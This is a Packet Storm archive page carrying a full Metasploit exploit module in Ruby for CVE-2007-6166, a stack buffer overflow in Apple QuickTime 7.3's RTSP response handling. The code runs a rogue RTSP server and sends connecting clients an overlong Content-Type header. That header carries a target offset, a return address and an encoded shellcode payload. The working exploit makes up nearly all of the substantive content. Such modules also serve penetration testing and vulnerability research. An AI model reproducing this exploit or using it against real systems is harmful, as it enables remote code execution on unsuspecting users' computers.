what you don't know can hurt you

Apple QuickTime 7.3 RTSP Response Header Buffer Overflow

Apple QuickTime 7.3 RTSP Response Header Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Apple QuickTime 7.3. By sending an overly long RTSP response to a client, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
systems | apple
advisories | CVE-2007-6166
SHA-256 | 21574fbd6e00724523d7a5f9074376708ca42fdee7cfd7358724cf3a988c22ab

Apple QuickTime 7.3 RTSP Response Header Buffer Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Apple QuickTime 7.3. By sending an overly long
RTSP response to a client, an attacker may be able to execute arbitrary code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-6166' ],
[ 'OSVDB', '40876' ],
[ 'BID', '26549' ],
[ 'URL', 'http://milw0rm.com/exploits/4648' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 700,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'MaxNops' => 0,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
],
'Privileged' => false,
'DisclosureDate' => 'Nov 23 2007',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
], self.class)
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)

client.get_once

buffer = rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)

strname = rand_text_alpha(rand(75) + 1)
date = Time.now
num = rand(1).to_s

header = "RTSP/1.0 200 OK\r\n"
header << "CSeq: 1\r\n"
header << "Date: #{date}\r\n"
header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
header << "Content-Type: #{buffer}\r\n"
header << "Content-Length: #{strname.length}\r\n\r\n"

body = "v=#{num}\r\n"
body << "o=#{strname}\r\n"
body << "s=#{strname}\r\n"
body << "i=#{strname}\r\n"
body << "t=#{num}\r\n"
body << "a=tool:#{strname}\r\n"
body << "a=type:#{strname}\r\n"
body << "a=control:#{strname}\r\n"
body << "a=range:#{strname}\r\n"
body << "a=x-qt-text-nam:#{strname}\r\n"
body << "a=x-qt-text-inf:#{strname}\r\n"
body << "m=#{strname}\r\n"
body << "c=#{strname}\r\n"
body << "a=control:#{strname}\r\n"

sploit = header + body

print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")

client.put(sploit)
handler(client)

service.close_client(client)
end

end
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close